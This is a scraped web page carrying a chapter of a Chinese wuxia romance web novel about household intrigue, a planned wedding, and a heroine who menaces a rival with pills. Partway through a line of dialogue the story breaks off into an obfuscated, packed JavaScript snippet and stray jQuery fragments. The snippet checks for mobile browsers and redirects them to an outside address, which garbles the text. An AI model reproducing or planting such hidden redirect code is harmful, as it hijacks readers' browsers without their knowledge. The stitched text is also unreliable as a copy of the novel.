默认冷灰
24号文字
方正启体

56. 选一个

作者:娆章本书字数:K更新时间:
    不出意外,何氏先于竺澄到了纬星山房外,澹台鸣夫妇仍在,柳知棠怕澹台洐在此不便,先交于嬷嬷带回。


    何氏本在前厅接见数位分号掌柜,听此一言,急匆匆地带上这些关心少主的下属前来探望。


    她在门外方与澹台鸣客套两句,想进门却被哑叔阻拦,刚想开口,只见他身后书房门自内而起。


    时鸳脸色略些苍白,敛裙出门来,与哑叔交换一个眼神,侧身让了他进去,转头见门口乌泱泱一群人,轻扫一遍,朝何氏行礼笑道:


    “阿羡,夫人带人来看你了。尺蓝寸红,收拾了里头杯盏,再去备茶水来。”


    她行至澹台鸣夫妇身边,略一欠身,只退回了裁月居去。


    何氏见她笑意轻松,眉头一皱,压着狐疑,朝身侧数位掌柜笑了笑,道:


    “这是全城皆知的时娘子,下月头上就要与羡仙成亲了。”


    兴元府分号的牛掌柜道:


    “不是说少主身有不适,旧病复发么?瞧这时娘子轻松之色,应是无碍?”


    身着灰绸袍子的古掌柜,是总号的大掌柜,搭腔道:


    “若真是无碍,这时娘子岂不是不得不娶!”


    何氏轻瞪了他二人一眼,带着曲嬷嬷,径直进了纬星山房。


    柳羡仙端坐于书案后,翻阅着手中书册,满面红光,瞧不出一丝病气。


    他放下手中书册,朝众人淡道:


    “鸳儿偶感不适,怎么惊扰了母亲?”


    何氏心底生疑,还是点头而笑:


    “不是你就好。这些分号掌柜,平日里少有见你的机会,听说你身有不适,自然都要来关切一番。”


    这几位掌柜落座间,已是说着些不疼不痒的恭维之语。


    “是是。少主避居养病两年有余,如今病愈出山可喜可贺!”


    “今年是大汇算之期,有夫人与少主共同主持,必定事半功倍。”


    ……


    能一大早前来拜会何氏的,大都是她控制之下或者有意投靠于她的,柳羡仙淡笑点头,望向那兴元府分号的牛掌柜,道:


    “三年一次的大汇算,每月细账都需查对。今年又是大雪,山路难行,账本繁重,几位远道而来,一路上,可还顺利?”


    牛掌柜见此,立刻憨笑道:


    “少主如此体恤我等,小的们实不敢当。听说少主与未来夫人,赈济施粥,仁心惠济,来年平准堂生意,必定更上一层楼!”


    何氏捧着手炉,打断这令人头疼的空话。


    “这吉利话都说了一箩筐了。聊些正事罢!今年汇算放在何处?羡仙,既然要主持,也该开始安排了。”


    柳羡仙轻握着九枝青脉盘,这件事他心底盘算了许久,早有对策,只装作思考片刻,道:


    “我行动不便,就放在栖云别业,最靠街边的逐日阁,地方也大,又有靠街的角门。母亲认为如何?”


    点头之后,是一声轻叹,何氏继续表演着优秀的继母。


    “好。二十三那日,与往年一样,歇息一日。你要续弦,更该亲自去告慰一声。”


    当着这些掌柜的面,她还是装着一副周到与善解人意,揽尽人心。


    柳羡仙眸色一暗,望向面前册页,沉默片刻,才抬眼看向何氏体念关怀的神色,郑重颔首。


    *


    时鸳步履虚浮,强撑着回到主卧方坐下,柳知棠已是跟了进来。


    柳知棠接了寸红送上的药箱,见到她手腕上的伤口,皱眉道:


    “怎么了?我见你面色苍白,便觉不妙。不是说大哥不适么,怎么变成了嫂子你?”


    她伸手解下淡青色手帕,露出那道齐整的切口。


    “无碍。他可有生疑?”


    拿干净毛巾沾了清水,擦去伤口边暗红色的血迹,柳知棠取了金疮药,轻敷在她伤口处,摇头道:


    “他就是生疑,也不会与我直说。这伤口这么深,会留疤的,是大哥伤你的么?”


    时鸳缓缓摇头,自嘲苦笑,一语成谶,终是做了他的血鼎,没向柳知棠解释原由,想起方才澹台鸣得意的模样,着实恶心。


    她默然摇首间,看着柳知棠给她的手腕缠上纱布,门外传来澹台鸣的声音:


    “夫人,嫂夫人如何?可能一道前去与看望秋兄贤伉俪?”


    柳知棠极不情愿地低声冷哼,正想开口朝外回绝,却见时鸳自信点头,示意她应下。


    “再等会儿。”


    揉着有酸胀的太阳穴,时鸳低声含笑道:


    “方才与洐儿挑了些蜜煎糖果,我一道与你们送去。有你在,也不怕金封淑再有什么疯话。”


    澹台鸣负手而立,饶有兴致地环顾一圈这偌大的主苑,这都舍得让给她一人住着,自己跑去与何氏住挽辰苑,柳羡仙真是疯魔了!


    “好,我在院中等着。”


    他朗声回了一句,望向闺房方向,回味时鸳的方才做派与表现,如此尤物不堪尽用,真是可惜!


    不过片刻,尺蓝回到了主卧中,端着托盘与时鸳、柳知棠出得门来。


    见到面色略有苍白地时鸳,澹台鸣还是眼睛一亮,这副娇花弱柳之态,哪里是剑仙身上轻易见得的?随即,是一句殷勤问候。


    “嫂嫂无恙罢?”


    时鸳颔首微笑,脚下未停,依旧向苑外走去,还是温婉娇柔的声音,道:


    “头晕而已,有劳澹台先生挂心。”


    澹台鸣的眼睛黏在时鸳身上,都抠不下来,柳知棠看着都替她难受百倍,径直上前,在二人中间,挽了时鸳的手臂,往前走去,只道:


    “嫂子,过几日带你去吃过城里最好吃的骨董羹么?我方差人问过,说是今年北边滩羊进得晚,才开张呢。别叫我大哥,他来最没意思!”


    澹台鸣冷哼一声,极不耐烦地瞪了柳知棠的背影一眼。


    许久没管教她了,如此能说会道,是越来越不知道分寸!


    她知其深意,含笑地有一句没一句地扯着闲话,这是又要撇下柳羡仙,那日晚上的“不许再去”,她听得出是何意思。


    “又不是叫他?你不怕他寻你的不痛快?”


    说话间,一行人已是到了聆雨苑前,温相善于内见状迎了上来,道:


    “澹台庄主,你也来长安了!”


    澹台鸣笑道:


    “还没恭喜温掌门!我也是听闻秋兄下山养病,特来探望探望,可是方便?”


    温相善看向时鸳,泛起一丝担忧,又无法拒绝她前来。


    “里面请。”


    苑内亭中,秋百川缠着金封淑,撒娇道:


    “阿姊,不是说那个娘子陪我来玩儿么?好几日了!”


    金封淑正头疼不知道怎么搪塞他,却见时鸳跟着澹台鸣夫妇前来,轻哼一声,只向秋百川笑道:


    “说来陪你的,不是到了么?”


    她向一脸得意的澹台鸣笑道:


    “你是来喝你大舅子喜酒的?”


    根本不在意温相善的挂名,澹台鸣见到了他想见的正主,施施然坐在了亭内石桌上。


    “好久不见金大娘子了。秋兄精神不错!”


    金封淑见到时鸳带来的五六样糖果,略觉得意外,与澹台鸣笑着道:<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010498|192614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“还未有机会恭贺你荣登苦寒堂,今日也算贺过。”


    澹台鸣见一侧,温相善正煞有戒备地望着秋百川对着糖果舔手指的样子,继续道:


    “这林氏夫妇是你请来为秋兄诊脉的,只是最近甚嚣尘上的江湖轶事,你当真不知么?”


    金封淑瞟了一眼廊下倚着栏的时鸳,她正笑着给另外三个弟子送糖果。


    她甚不在意道:


    “你是说慕鸳时从长安赶往秦岭,旧情人相见之事?这剑妖别挡了荣娘子,为我相公诊治便好,其他的,与我何干?”


    柳知棠坐在一边,满面鄙夷,并不想搭理这二人,望了一眼同样被边缘化的温相善,只得默默叹了一声。


    这柳家的栖云别业,却成了两个风马牛不急的外人,表演的舞台!


    “哎——林盟主北上,你也是出身江南,这么置身事外?该为远在江南的令弟金封泰铺路谋划。”


    金封淑往侧一靠,冷笑道:


    “不是我置身事外,是插不了手。当年在杭州谁人不知,林南风对剑妖的态度,他两的恩怨纠葛,不为外人道也。”


    澹台鸣往前轻倚,极具兴趣地低声问这昔年往事。


    “是何态度?”


    “就与这柳少堂主对这女子一般,捧在手里怕丢了,含在嘴里怕化了,有过之而无不及。所以我也奉劝你一句,别做无谓之事。”


    这是诚心的警告,金封淑唯一担心的是荣照灵是否会毁约拒诊。


    柳知棠心中一震,低头看向一侧,双手捏紧了袖口,更不敢将意外的眼神,直接置于货真价实的剑仙身上。


    她是真的胆大包天,寿宴上剑挑华山派,如今却敢置于如此境地之中!


    打听到最乐意接受的事实,澹台鸣点头而笑,看向秋百川跑向廊下时鸳处,耍赖着跟她要糖果。


    “那就更有意思了。在杭州,金大娘子没见过慕鸳时么?”


    不知道柳羡仙看到这一幕,会是什么反应,拿着金针抵在秋百川喉咙处么?


    “当年我金家保镖押送的《八十七神仙卷》被劫,摆明了是蝶舞门的手段,不过没有证据罢了。她自是躲着我金家,我见不到,更不乐意见。”


    “那今日让你……”


    澹台鸣得意而笑,话还没说完,却是柳知棠将茶盏递了他手中,拦下了自己的话头。


    不能将她与“剑仙”长得“相似”之事,轻易透露出去!


    柳知棠向澹台鸣使了一个慎言的眼色,笑着恭维与同仇敌忾。


    “当年金家镖局‘永不失镖’的招牌,原是被她所害!这手段,当真下作!”


    廊下处,时鸳背对众人,从小袖中拿出一小袋的暗红色紫苏丸,转向秋百川笑道:


    “我只有这个糖了,你要不要吃?”


    “要!我都要!给我!”


    秋百川抢过小袋子在手里,打开一看,那暗红色樱桃核大小的糖丸,如此熟悉,顿时惊愣住,迟疑地抬头望向面前的时鸳。


    最深切的寒意来自于面前女子,只觉得周围的空气骤冷,连呼出嘴的气都在瞬间化作白烟。


    她的嘴角唇侧在笑,可眼中的温柔散做噬人杀意后,汇聚于瞳孔中的一点眸光,如利剑般直直向自己刺来!


    他上眼睑的上提与下眼睑的紧绷间,瞳孔散大的视线已是僵直,记忆与现实的交叠中,自己沉重恐惧的呼吸声,秋百川听得一清二楚。


    那晚的血腥味,血液触手的粘稠,尸块满地的触目惊心,衬着她给出的冰冷选择,再一次在面前低沉地回响起。


    “不吃,就要死,选一个。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)